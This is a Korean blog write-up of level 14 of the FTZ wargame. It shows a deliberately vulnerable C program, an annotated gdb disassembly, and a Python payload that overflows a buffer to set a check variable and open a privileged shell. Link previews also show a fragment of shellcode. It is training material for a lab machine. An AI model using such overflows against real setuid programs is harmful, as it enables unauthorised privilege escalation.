728x90
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>
 
main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:	push   ebp
0x080483b9 <main+1>:	mov    ebp,esp
0x080483bb <main+3>:	sub    esp,0x38
0x080483be <main+6>:	and    esp,0xfffffff0
0x080483c1 <main+9>:	mov    eax,0x0
0x080483c6 <main+14>:	sub    esp,eax
0x080483c8 <main+16>:	sub    esp,0x4
0x080483cb <main+19>:	push   ds:0x80495d0
0x080483d1 <main+25>:	push   0x2d
0x080483d3 <main+27>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080483d6 <main+30>:	push   eax
0x080483d7 <main+31>:	call   0x80482d8 <fgets>
0x080483dc <main+36>:	add    esp,0x10
0x080483df <main+39>:	cmp    DWORD PTR [ebp-16],0xdeadbeef  //check의 주솟값 ebp-16
0x080483e6 <main+46>:	jne    0x804840d <main+85>
0x080483e8 <main+48>:	sub    esp,0x8
0x080483eb <main+51>:	push   0xc17
0x080483f0 <main+56>:	push   0xc17
0x080483f5 <main+61>:	call   0x80482f8 <setreuid>
0x080483fa <main+66>:	add    esp,0x10
0x080483fd <main+69>:	sub    esp,0xc
0x08048400 <main+72>:	push   0x80484bc
0x08048405 <main+77>:	call   0x80482c8 <system>

buf가 ebp-56의 주솟값에서 시작된다. 그리고 ebp-16에 변수 check가 존재하는데 0xdeadbeef와 같으면 level15의 권한으로 /bin/sh을 실행할 수 있다. 그리고나서 my-pass를 입력한다면 level15의 비밀번호가 나타날 것이다.

[level14@ftz tmp]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|../attackme
my-pass

Level15 Password is "guess what".

명령어에 사용된 문법에 대해 좀 더 알고 싶다면 level11과 level12의 해설을 참고 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

728x90

'FTZ' 카테고리의 다른 글

level16  (0) 2023.01.19
level15  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19
level11  (0) 2023.01.09

+ Recent posts